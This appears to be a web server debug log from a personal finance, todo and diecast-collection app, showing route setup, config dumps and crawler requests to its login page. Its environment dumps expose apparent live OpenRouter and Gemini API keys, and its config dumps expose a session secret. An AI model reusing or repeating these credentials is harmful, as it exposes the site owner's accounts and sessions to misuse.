2026-06-16T16:19:57.469Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-16T16:19:57.476Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-16T16:19:57.477Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-16T16:19:57.478Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-16T16:19:57.479Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-16T16:19:57.480Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-16T16:19:57.483Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-16T16:19:57.484Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-16T16:19:57.485Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-16T16:19:57.485Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-16T16:19:57.485Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-16T16:19:57.485Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-16T16:19:57.486Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-16T16:19:57.486Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-16T16:19:57.486Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-16T16:19:57.487Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-16T16:19:57.487Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-16T16:19:57.487Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-16T16:19:57.488Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-16T16:19:57.488Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-16T16:19:57.488Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-16T16:19:57.489Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-16T16:19:57.489Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-16T16:19:57.489Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-16T16:19:57.490Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-16T16:19:57.490Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-16T16:19:57.490Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-16T16:19:57.491Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-16T16:19:57.491Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-16T16:19:57.492Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-16T16:19:57.492Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-16T16:19:57.492Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-16T16:19:57.493Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-16T16:19:57.493Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-16T16:19:57.493Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-16T16:19:57.494Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-16T16:19:57.494Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-16T16:19:57.494Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-16T16:19:57.594Z server-connect:router Serving templateView /
2026-06-16T16:19:57.596Z server-connect:app Executing action step identify
2026-06-16T16:19:57.596Z server-connect:app options: { provider: 'security' }
2026-06-16T16:19:57.598Z server-connect:auth No login cookie found
2026-06-16T16:19:57.598Z server-connect:output identity: false
2026-06-16T16:19:57.598Z server-connect:app Executing action step restrict
2026-06-16T16:19:57.598Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-16T16:19:57.602Z server-connect:output restrict: undefined
2026-06-16T16:19:57.735Z server-connect:router Serving templateView /login
2026-06-16T16:19:57.736Z server-connect:app Executing action step identify
2026-06-16T16:19:57.736Z server-connect:app options: { provider: 'security' }
2026-06-16T16:19:57.736Z server-connect:auth No login cookie found
2026-06-16T16:19:57.736Z server-connect:output identity: false
2026-06-16T16:19:57.736Z server-connect:router Render template layouts/authentication
2026-06-16T16:19:57.737Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.188.58.102',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-17T16:19:57.734Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.188.58.102',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.188.58.102',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-17T07:39:30.574Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-17T07:39:32.684Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-17T07:39:33.544Z server-connect:setup:upload Upload middleware configured.
2026-06-17T07:39:33.544Z server-connect:secure CSRF Protection initialized
2026-06-17T07:39:33.547Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-17T07:39:33.550Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-17T07:39:33.551Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-17T07:39:33.552Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-17T07:39:33.558Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-17T07:39:33.563Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-17T07:39:33.575Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-17T07:39:33.589Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-17T07:39:33.593Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-17T07:39:33.595Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-17T07:39:33.597Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-17T07:39:33.601Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-17T07:39:33.607Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-17T07:39:33.616Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-17T07:39:33.621Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-17T07:39:33.693Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-17T07:39:33.694Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-17T07:39:33.700Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-17T07:39:33.704Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-17T07:39:33.708Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-17T07:39:33.710Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-17T07:39:33.719Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-17T07:39:33.719Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-17T07:39:33.726Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-17T07:39:33.729Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-17T07:39:33.732Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-17T07:39:33.735Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-17T07:39:33.735Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-17T07:39:33.742Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-17T07:39:33.744Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-17T07:39:33.746Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-17T07:39:33.748Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-17T07:39:33.752Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-17T07:39:33.752Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-17T07:39:33.759Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-17T07:39:33.763Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-17T07:39:33.765Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-17T07:39:33.775Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-17T07:39:55.263Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-17T07:39:55.433Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-17T07:39:55.528Z server-connect:setup:upload Upload middleware configured.
2026-06-17T07:39:55.528Z server-connect:secure CSRF Protection initialized
2026-06-17T07:39:55.530Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-17T07:39:55.532Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-17T07:39:55.532Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-17T07:39:55.533Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-17T07:39:55.534Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-17T07:39:55.535Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-17T07:39:55.539Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-17T07:39:55.539Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-17T07:39:55.540Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-17T07:39:55.540Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-17T07:39:55.540Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-17T07:39:55.541Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-17T07:39:55.541Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-17T07:39:55.541Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-17T07:39:55.542Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-17T07:39:55.542Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-17T07:39:55.542Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-17T07:39:55.542Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-17T07:39:55.543Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-17T07:39:55.543Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-17T07:39:55.544Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-17T07:39:55.544Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-17T07:39:55.544Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-17T07:39:55.545Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-17T07:39:55.545Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-17T07:39:55.577Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-17T07:39:55.577Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-17T07:39:55.578Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-17T07:39:55.578Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-17T07:39:55.579Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-17T07:39:55.579Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-17T07:39:55.579Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-17T07:39:55.580Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-17T07:39:55.580Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-17T07:39:55.581Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-17T07:39:55.581Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-17T07:39:55.581Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-17T07:39:55.582Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-17T21:30:23.617Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-17T21:30:25.890Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-17T21:30:26.754Z server-connect:setup:upload Upload middleware configured.
2026-06-17T21:30:26.754Z server-connect:secure CSRF Protection initialized
2026-06-17T21:30:26.760Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-17T21:30:26.761Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-17T21:30:26.762Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-17T21:30:26.765Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-17T21:30:26.770Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-17T21:30:26.777Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-17T21:30:26.788Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-17T21:30:26.801Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-17T21:30:26.806Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-17T21:30:26.807Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-17T21:30:26.809Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-17T21:30:26.814Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-17T21:30:26.819Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-17T21:30:26.829Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-17T21:30:26.833Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-17T21:30:26.905Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-17T21:30:26.907Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-17T21:30:26.910Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-17T21:30:26.917Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-17T21:30:26.921Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-17T21:30:26.922Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-17T21:30:26.931Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-17T21:30:26.933Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-17T21:30:26.938Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-17T21:30:26.940Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-17T21:30:26.944Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-17T21:30:26.946Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-17T21:30:26.948Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-17T21:30:26.953Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-17T21:30:26.956Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-17T21:30:26.958Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-17T21:30:26.960Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-17T21:30:26.965Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-17T21:30:26.965Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-17T21:30:26.974Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-17T21:30:26.978Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-17T21:30:26.979Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-17T21:30:26.989Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-17T21:30:27.477Z server-connect:router Serving templateView /
2026-06-17T21:30:27.480Z server-connect:app Executing action step identify
2026-06-17T21:30:27.480Z server-connect:app options: { provider: 'security' }
2026-06-17T21:30:27.482Z server-connect:auth No login cookie found
2026-06-17T21:30:27.482Z server-connect:output identity: false
2026-06-17T21:30:27.482Z server-connect:app Executing action step restrict
2026-06-17T21:30:27.482Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-17T21:30:27.486Z server-connect:output restrict: undefined
2026-06-18T00:23:28.853Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-18T00:23:31.124Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-18T00:23:31.986Z server-connect:setup:upload Upload middleware configured.
2026-06-18T00:23:31.986Z server-connect:secure CSRF Protection initialized
2026-06-18T00:23:31.991Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-18T00:23:31.994Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-18T00:23:31.995Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-18T00:23:31.997Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-18T00:23:32.003Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-18T00:23:32.010Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-18T00:23:32.021Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-18T00:23:32.033Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-18T00:23:32.038Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-18T00:23:32.040Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-18T00:23:32.042Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-18T00:23:32.046Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-18T00:23:32.052Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-18T00:23:32.061Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-18T00:23:32.065Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-18T00:23:32.139Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-18T00:23:32.140Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-18T00:23:32.144Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-18T00:23:32.149Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-18T00:23:32.155Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-18T00:23:32.157Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-18T00:23:32.165Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-18T00:23:32.167Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-18T00:23:32.173Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-18T00:23:32.175Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-18T00:23:32.179Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-18T00:23:32.181Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-18T00:23:32.183Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-18T00:23:32.189Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-18T00:23:32.189Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-18T00:23:32.192Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-18T00:23:32.194Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-18T00:23:32.198Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-18T00:23:32.200Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-18T00:23:32.206Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-18T00:23:32.210Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-18T00:23:32.212Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-18T00:23:32.222Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-18T00:23:32.752Z server-connect:router Serving templateView /
2026-06-18T00:23:32.756Z server-connect:app Executing action step identify
2026-06-18T00:23:32.757Z server-connect:app options: { provider: 'security' }
2026-06-18T00:23:32.765Z server-connect:auth No login cookie found
2026-06-18T00:23:32.765Z server-connect:output identity: false
2026-06-18T00:23:32.765Z server-connect:app Executing action step restrict
2026-06-18T00:23:32.765Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-18T00:23:32.769Z server-connect:output restrict: undefined
2026-06-18T00:23:33.559Z server-connect:router Serving templateView /login
2026-06-18T00:23:33.560Z server-connect:app Executing action step identify
2026-06-18T00:23:33.560Z server-connect:app options: { provider: 'security' }
2026-06-18T00:23:33.560Z server-connect:auth No login cookie found
2026-06-18T00:23:33.560Z server-connect:output identity: false
2026-06-18T00:23:33.560Z server-connect:router Render template layouts/authentication
2026-06-18T00:23:33.561Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.16.0 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    host: 'ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.147.88.45',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-19T00:23:33.558Z,
